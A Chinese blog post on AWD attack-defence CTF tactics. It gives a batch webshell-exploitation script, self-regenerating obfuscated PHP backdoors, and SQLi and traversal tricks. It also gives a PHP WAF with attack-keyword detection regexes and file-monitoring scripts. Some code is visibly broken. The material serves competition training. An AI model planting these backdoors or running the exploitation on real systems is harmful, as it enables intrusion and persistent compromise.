CTF中的AWD套路

今年参加了三起CTF比赛,属于初学者,基本除了web其他的不会,但分赛场AWD相对就没什么难度,基本都是技巧性。其中一场进入复赛了,本月底再次比赛(ctf题做的这么渣还能进也是绝了~),参照前人经验补充了一些总结下。

一、AWD介绍

AWD:Attack With Defence,即攻防对抗,比赛中每个队伍维护多台服务器(一般两三台,视小组参赛人数而定),服务器中存在多个漏洞(web层、系统层、中间件层等),利用漏洞攻击其他队伍可以进行得分,加固时间段可自行发现漏洞对服务器进行加固,避免被其他队伍攻击失分。

<!--more-->
  • 1.一般分配Web服务器,服务器(多数为Linux)某处存在flag(一般在根目录下);
  • 2.可能会提供一台流量分析虚拟机,可以下载流量文件进行数据分析(较少提供);
  • 3.flag在主办方的设定下每隔一定时间刷新一轮;
  • 4.各队一般都有一个初始分数;
  • 5.flag一旦被其他队伍拿走,该队扣除一定积分;
  • 6.得到flag的队伍加分;
  • 7.一般每个队伍会给一个低权限用户,非root权限;
  • 8.主办方会对每个队伍的服务进行check,服务器宕机扣除本轮flag分数,扣除的分值由服务check正常的队伍均分。

二、比赛分工

  1. 线下赛一般3人,2人攻1人守,在此情况下攻击比防守得分来的快;
  2. 也可一人维护一台靶机,同时进行攻防。

比赛靶机一般都在同一个B段,可提前扫描目标网段中存活靶机,方便实施攻击。 如使用 御剑高速TCP全端口扫描工具、httpscan,只需要扫描 80 端口就行(一般web为80端口,特殊情况自行设置)。

三、套路

1、备份

比赛开始第一时间备份,备份网站目录及数据库,一般在 /var/www/html 目录。

一是为了dump下来,用D盾查杀存在的后门; 二是为了比赛出现异常或恶意破坏进行还原,避免靶机宕机被扣分; 三要审计下有没有高危命令执行函数,进行后期加固,以及有空余时间或专门安排一个人审计下基础漏洞用来做攻击。 命令执行函数 exec()passthru()system()shell_exec()popen() 等;代码执行函数:eval()assert()preg_repace()uasort() 等;文件包含函数 include()require() 等,用正则匹配 grep -r "@eval" /www/,找到后注释掉。

2、弱口令

大多数情况下,所有队伍的Web后台、phpmyadmin等服务的管理密码都一样,立马快速检查修改自己密码,并利用此进行攻击。一般默认密码为 admin/admin, admin/123456, test/test,如果被其他队伍改了那就gg了。

3、后门

如上所说,对备份web目录进行后门查杀。

查杀到后门文件后,查看后门路径及密码,直接通过菜刀连接。

脚本获取webshell并快速提交 为了速度,可以通过脚本进行批量获取webshell,脚本快速提交,代码如下:

1#!/usr/bin/env python 2#coding=utf-8 3 4import request 5url="http://192.168.71." 6url1="" 7path="/upload/index.php" 8passwd="test" 9port="80" 10payload={passwd: 'system(\'cat /flag\');'} 11f=open("webshell_list.txt", "w") 12f1=open("flag_list.txt". "w") 13for i in [1, 3, 5, 7, 9, 11, 13, 15]: 14 url1=url+str(i)+":"+port+path 15 try: 16 res=request.post(url1, payload, timeout=2) 17 if res.status_code == request.codes.ok: 18 print url1+" connect shell success, flag is "+res.text 19 print >> f1, url1+" connect shell success, flag is "+res.text 20 print >> f, url1+", "+passwd 21 else: 22 print "shell not find." 23 except: 24 print url1+" connect shell fail" 25 26f.close() 27f1.close()

配置其他队伍地址、shell路径和密码,就可以进行攻击,flag记录在 flag_list.txt文件中。

4、监测攻击payload

tail -f *.log,看日志,不言而喻,抓他们的payload并利用。

5、漏洞

常见的漏洞包括SQL注入、文件包含、文件上传、命令执行等。

(1)sql注入漏洞

比赛一般没有防护(除非选手安装了防御脚本),可直接通过 --sql-shell 执行 select load_file(‘/flag’); 得到flag,也可以利用 into outfile 写木马维持权限。

(2)本地文件包含或目录遍历

直接通过 ../../../../../flag 获取。

6、权限维持

(1)不死马

直接linux执行:

while true;do echo '<?php eval($_POST["x"]);?>' > x.php;sleep 1;done

bs1.php 访问后同目录持续生成 .test.php 文件

1<?php 2set_time_limit(0); 3//程序执行时间 4ignore_user_abort(1); 5//关掉终端后脚本仍然运行 6unlink(__FILE__); 7//文件完整名 8while(1) { 9 file_put_contents('.test.php','<?php $a=array($_REQUEST["x"]=>"3"); // pwd=x 10$b=array_keys($a)[0]; 11eval($b);?>'); 12 sleep(5); 13} 14?>

bs2.php 访问后同目录持续生成 .config.php 文件

1<?php 2 set_time_limit(0); 3 ignore_user_abort(1); 4 unlink(_FILE); 5 while(1){ 6 file_put_contents('./.config.php','<?php $_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_=$_fF("",$_cC);@$_();?>'); 7 system('chmod777.config.php'); 8 touch("./.config.php",mktime(20,15,1,11,28,2016)); // pwd=1 9 usleep(100); 10 } 11?>

7、防御手段

(1)waf

1<?php 2//error_reporting(E_ALL); 3//ini_set('display_errors', 1); 4/* 5检测请求方式,除了get和post之外拦截下来并写日志。 6*/ 7if ($_SERVER['REQUEST_METHOD'] != 'POST' && $_SERVER['REQUEST_METHOD'] != 'GET') { 8 write_attack_log("method"); 9} 10$url = $_SERVER['REQUEST_URI']; //获取uri来进行检测 11$data = file_get_contents('php://input'); //获取post的data,无论是否是mutipa 12rt $headers = get_all_headers(); //获取header 13filter_attack_keyword(filter_invisible(urldecode(filter_0x25($url)))); // 14URL进行检测,出现问题则拦截并记录filter_attack_keyword(filter_invisible(urldecode(filter_0x25($data)))); 15//对POST的内容进行检测,出现问题拦截并记录 16/* 17检测过了则对输入进行简单过滤 18*/ 19foreach ($_GET as $key => $value) { 20 $_GET[$key] = filter_dangerous_words($value); 21} 22foreach ($_POST as $key => $value) { 23 $_POST[$key] = filter_dangerous_words($value); 24} 25foreach ($headers as $key => $value) { 26 filter_attack_keyword(filter_invisible(urldecode(filter_0x25($value)))); //对http请求头进行检测,出现问题拦截并记录 27 $_SERVER[$key] = filter_dangerous_words($value); //简单过滤 28 29} 30/* 31获取http请求头并写入数组 32*/ 33function get_all_headers() { 34 $headers = array(); 35 foreach ($_SERVER as $key => $value) { 36 if (substr($key, 0, 5) === 'HTTP_') { 37 $headers[$key] = $value; 38 } 39 } 40 return $headers; 41} 42/* 43检测不可见字符造成的截断和绕过效果,注意网站请求带中文需要简单修改 44*/ 45function filter_invisible($str) { 46 for ($i = 0; $i < strlen($str); $i++) { 47 $ascii = ord($str[$i]); 48 if ($ascii > 126 || $ascii < 32) { //有中文这里要修改 49 if (!in_array($ascii, array( 50 9, 51 10, 52 13 53 ))) { 54 write_attack_log("interrupt"); 55 } else { 56 $str = str_replace($ascii, " ", $str); 57 } 58 } 59 } 60 $str = str_replace(array( 61 "`", 62 "|", 63 ";", 64 "," 65 ) , " ", $str); 66 return $str; 67} 68/* 69检测网站程序存在二次编码绕过漏洞造成的%25绕过,此处是循环将%25替换成%,直至不存在%25 70*/ 71function filter_0x25($str) { 72 if (strpos($str, "%25") !== false) { 73 $str = str_replace("%25", "%", $str); 74 return filter_0x25($str); 75 } else { 76 return $str; 77 } 78} 79/* 80攻击关键字检测,此处由于之前将特殊字符替换成空格,即使存在绕过特性也绕不过正则的\b 81*/ 82function filter_attack_keyword($str) { 83 if (preg_match("/select\b|insert\b|update\b|drop\b|delete\b|dumpfile\b 84|outfile\b|load_file|rename\b|floor\(|extractvalue|updatexml|name_const|m 85ultipoint\(/i", $str)) { 86 write_attack_log("sqli"); 87 } 88 89 if (substr_count($str, $_SERVER['PHP_SELF']) < 2) { 90 $tmp = str_replace($_SERVER['PHP_SELF'], "", $str); 91 if (preg_match("/\.\.|.*\.php[35]{0,1}/i", $tmp)) { 92 write_attack_log("LFI/LFR");; 93 } 94 } else { 95 write_attack_log("LFI/LFR"); 96 } 97 if (preg_match("/base64_decode|eval\(|assert\(/i", $str)) { 98 write_attack_log("EXEC"); 99 } 100 if (preg_match("/flag/i", $str)) { 101 write_attack_log("GETFLAG"); 102 } 103} 104/* 105简单将易出现问题的字符替换成中文 106*/ 107function filter_dangerous_words($str) { 108 $str = str_replace("'", "‘", $str); 109 $str = str_replace("\"", "“", $str); 110 $str = str_replace("<", "《", $str); 111 $str = str_replace(">", "》", $str); 112 return $str; 113} 114/* 115获取http的请求包,意义在于获取别人的攻击payload 116*/ 117function get_http_raw() { 118 $raw = ''; 119 $raw.= $_SERVER['REQUEST_METHOD'] . ' ' . $_SERVER['REQUEST_URI'] . ' ' . $_SERVER['SERVER_PROTOCOL'] . "\r\n"; 120 foreach ($_SERVER as $key => $value) { 121 if (substr($key, 0, 5) === 'HTTP_') { 122 $key = substr($key, 5); 123 $key = str_replace('_', '-', $key); 124 $raw.= $key . ': ' . $value . "\r\n"; 125 } 126 } 127 $raw.= "\r\n"; 128 $raw.= file_get_contents('php://input'); 129 return $raw; 130} 131/* 132这里拦截并记录攻击payload 133*/ 134function write_attack_log($alert) { 135 date_default_timezone_set("Asia/Shanghai"); 136 $data = date("Y/m/d H:i:s") . " -- 137[" . $alert . "]" . "\r\n" . get_http_raw() . "\r\n\r\n"; 138 $ffff = fopen('log_is_a_secret_file.txt', 'a'); //日志路径 139 fwrite($ffff, $data); 140 fclose($ffff); 141 if ($alert == 'GETFLAG') { 142 header("location:http://172.16.9.2/"); 143 } else { 144 sleep(15); //拦截前延时15秒 145 146 } 147 exit(0); 148} 149?>

(2)Shell监控新增文件

创建文件的时候更改文件创建时间熟悉可能监测不到。

1#!/bin/bash 2while true 3do 4 find /var/www/dvwa/ -cmin -60 -type f | xargs rm -rf 5 sleep 1 6done

循环监听一小时以内更改过的文件或新增的文件,进行删除。

(3)Python监测新增文件

放在 /var/www//var/www/html 下执行这个脚本,它会先备份当然目录下的所有文件,然后监控当前目录,一旦当前目录下的某个文件发生变更,就会自动还原,有新的文件产生就会自动删除。

1# -*- coding: utf-8 -*- 2#use: python file_check.py ./ 3 4import os 5import hashlib 6import shutil 7import ntpath 8import time 9 10CWD = os.getcwd() 11FILE_MD5_DICT = {} # 文件MD5字典 12ORIGIN_FILE_LIST = [] 13 14# 特殊文件路径字符串 15Special_path_str = 'drops_JWI96TY7ZKNMQPDRUOSG0FLH41A3C5EXVB82' 16bakstring = 'bak_EAR1IBM0JT9HZ75WU4Y3Q8KLPCX26NDFOGVS' 17logstring = 'log_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD' 18webshellstring = 'webshell_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD' 19difffile = 'diff_UMTGPJO17F82K35Z0LEDA6QB9WH4IYRXVSCN' 20 21Special_string = 'drops_log' # 免死金牌 22UNICODE_ENCODING = "utf-8" 23INVALID_UNICODE_CHAR_FORMAT = r"\?%02x" 24 25# 文件路径字典 26spec_base_path = os.path.realpath(os.path.join(CWD, Special_path_str)) 27Special_path = { 28 'bak' : os.path.realpath(os.path.join(spec_base_path, bakstring)), 29 'log' : os.path.realpath(os.path.join(spec_base_path, logstring)), 30 'webshell' : os.path.realpath(os.path.join(spec_base_path, webshellstring)), 31 'difffile' : os.path.realpath(os.path.join(spec_base_path, difffile)), 32} 33 34 35def isListLike(value): 36 return isinstance(value, (list, tuple, set)) 37 38# 获取Unicode编码 39def getUnicode(value, encoding=None, noneToNull=False): 40 if noneToNull and value is None: 41 return NULL 42 if isListLike(value): 43 value = list(getUnicode(_, encoding, noneToNull) for _ in value) 44 return value 45 if isinstance(value, unicode): 46 return value 47 elif isinstance(value, basestring): 48 while True: 49 try: 50 return unicode(value, encoding or UNICODE_ENCODING) 51 except UnicodeDecodeError, ex: 52 try: 53 return unicode(value, UNICODE_ENCODING) 54 except: 55 value = value[:ex.start] + "".join(INVALID_UNICODE_CHAR_FORMAT % ord(_) for _ in value[ex.start:ex.end]) + value[ex.end:] 56 else: 57 try: 58 return unicode(value) 59 except UnicodeDecodeError: 60 return unicode(str(value), errors="ignore") 61 62# 目录创建 63def mkdir_p(path): 64 import errno 65 try: 66 os.makedirs(path) 67 except OSError as exc: 68 if exc.errno == errno.EEXIST and os.path.isdir(path): 69 pass 70 else: raise 71 72# 获取当前所有文件路径 73def getfilelist(cwd): 74 filelist = [] 75 for root,subdirs, files in os.walk(cwd): 76 for filepath in files: 77 originalfile = os.path.join(root, filepath) 78 if Special_path_str not in originalfile: 79 filelist.append(originalfile) 80 return filelist 81 82# 计算机文件MD583def calcMD5(filepath): 84 try: 85 with open(filepath,'rb') as f: 86 md5obj = hashlib.md5() 87 md5obj.update(f.read()) 88 hash = md5obj.hexdigest() 89 return hash 90 except Exception, e: 91 print u'[!] getmd5_error : ' + getUnicode(filepath) 92 print getUnicode(e) 93 try: 94 ORIGIN_FILE_LIST.remove(filepath) 95 FILE_MD5_DICT.pop(filepath, None) 96 except KeyError, e: 97 pass 98 99# 获取所有文件MD5 100def getfilemd5dict(filelist = []): 101 filemd5dict = {} 102 for ori_file in filelist: 103 if Special_path_str not in ori_file: 104 md5 = calcMD5(os.path.realpath(ori_file)) 105 if md5: 106 filemd5dict[ori_file] = md5 107 return filemd5dict 108 109# 备份所有文件 110def backup_file(filelist=[]): 111 # if len(os.listdir(Special_path['bak'])) == 0: 112 for filepath in filelist: 113 if Special_path_str not in filepath: 114 shutil.copy2(filepath, Special_path['bak']) 115 116if __name__ == '__main__': 117 print u'---------start------------' 118 for value in Special_path: 119 mkdir_p(Special_path[value]) 120 # 获取所有文件路径,并获取所有文件的MD5,同时备份所有文件 121 ORIGIN_FILE_LIST = getfilelist(CWD) 122 FILE_MD5_DICT = getfilemd5dict(ORIGIN_FILE_LIST) 123 backup_file(ORIGIN_FILE_LIST) # TODO 备份文件可能会产生重名BUG 124 print u'[*] pre work end!' 125 while True: 126 file_list = getfilelist(CWD) 127 # 移除新上传文件 128 diff_file_list = list(set(file_list) ^ set(ORIGIN_FILE_LIST)) 129 if len(diff_file_list) != 0: 130 # import pdb;pdb.set_trace() 131 for filepath in diff_file_list: 132 try: 133 f = open(filepath, 'r').read() 134 except Exception, e: 135 break 136 if Special_string not in f: 137 try: 138 print u'[*] webshell find : ' + getUnicode(filepath) 139 shutil.move(filepath, os.path.join(Special_path['webshell'], ntpath.basename(filepath) + '.txt')) 140 except Exception as e: 141 print u'[!] move webshell error, "%s" maybe is webshell.'%getUnicode(filepath) 142 try: 143 f = open(os.path.join(Special_path['log'], 'log.txt'), 'a') 144 f.write('newfile: ' + getUnicode(filepath) + ' : ' + str(time.ctime()) + '\n') 145 f.close() 146 except Exception as e: 147 print u'[-] log error : file move error: ' + getUnicode(e) 148 149 # 防止任意文件被修改,还原被修改文件 150 md5_dict = getfilemd5dict(ORIGIN_FILE_LIST) 151 for filekey in md5_dict: 152 if md5_dict[filekey] != FILE_MD5_DICT[filekey]: 153 try: 154 f = open(filekey, 'r').read() 155 except Exception, e: 156 break 157 if Special_string not in f: 158 try: 159 print u'[*] file had be change : ' + getUnicode(filekey) 160 shutil.move(filekey, os.path.join(Special_path['difffile'], ntpath.basename(filekey) + '.txt')) 161 shutil.move(os.path.join(Special_path['bak'], ntpath.basename(filekey)), filekey) 162 except Exception as e: 163 print u'[!] move webshell error, "%s" maybe is webshell.'%getUnicode(filekey) 164 try: 165 f = open(os.path.join(Special_path['log'], 'log.txt'), 'a') 166 f.write('diff_file: ' + getUnicode(filekey) + ' : ' + getUnicode(time.ctime()) + '\n') 167 f.close() 168 except Exception as e: 169 print u'[-] log error : done_diff: ' + getUnicode(filekey) 170 pass 171 time.sleep(2) 172 # print '[*] ' + getUnicode(time.ctime())

(4)修改curl

获取flag一般都是通过执行 curl http://xxx.com/flag.txt 更改其别名,使其无法获取flag内容:

1alias curl = 'echo flag{e4248e83e4ca862303053f2908a7020d}' 使用别名, 2chmod -x curl 降权,取消执行权限

(5)克制不死马、内存马

使用条件竞争的方式,不断循环创建和不死马同名的文件和文件夹,在此次比赛中使用此方式克制 了不死马。

1#!/bin/bash 2dire="/var/www/html/.base.php/" 3file="/var/www/html/.base.php" 4rm -rf $file 5mkdir $dire 6./xx.sh
点赞
收藏

评论区

加载中...

相关推荐

MySQL:[Err] 1292 - Incorrect datetime value: ‘0000-00-00 00:00:00‘ for column ‘CREATE_TIME‘ at row 1

文章目录问题用navicat导入数据时,报错:原因这是因为当前的MySQL不支持datetime为0的情况。解决修改sql\mode:sql\mode:SQLMode定义了MySQL应支持的SQL语法、数据校验等,这样可以更容易地在不同的环境中使用MySQL。全局s

Oracle 分组与拼接字符串同时使用

SELECTT.,ROWNUMIDFROM(SELECTT.EMPLID,T.NAME,T.BU,T.REALDEPART,T.FORMATDATE,SUM(T.S0)S0,MAX(UPDATETIME)CREATETIME,LISTAGG(TOCHAR(

MySQL部分从库上面因为大量的临时表tmp_table造成慢查询

背景描述Time:20190124T00:08:14.70572408:00User@Host:@Id:Schema:sentrymetaLast_errno:0Killed:0Query_time:0.315758Lock_

皕杰报表之UUID

​在我们用皕杰报表工具设计填报报表时,如何在新增行里自动增加id呢?能新增整数排序id吗?目前可以在新增行里自动增加id,但只能用uuid函数增加UUID编码,不能新增整数排序id。uuid函数说明:获取一个UUID,可以在填报表中用来创建数据ID语法:uuid()或uuid(sep)参数说明:sep布尔值,生成的uuid中是否包含分隔符'',缺省为

手写Java HashMap源码

HashMap的使用教程HashMap的使用教程HashMap的使用教程HashMap的使用教程HashMap的使用教程22

2020年前端实用代码段,为你的工作保驾护航

有空的时候,自己总结了几个代码段,在开发中也经常使用,谢谢。1、使用解构获取json数据let jsonData  id: 1,status: "OK",data: 'a', 'b';let  id, status, data: number   jsonData;console.log(id, status, number )

CTF中的AWD套路 - HelloWorld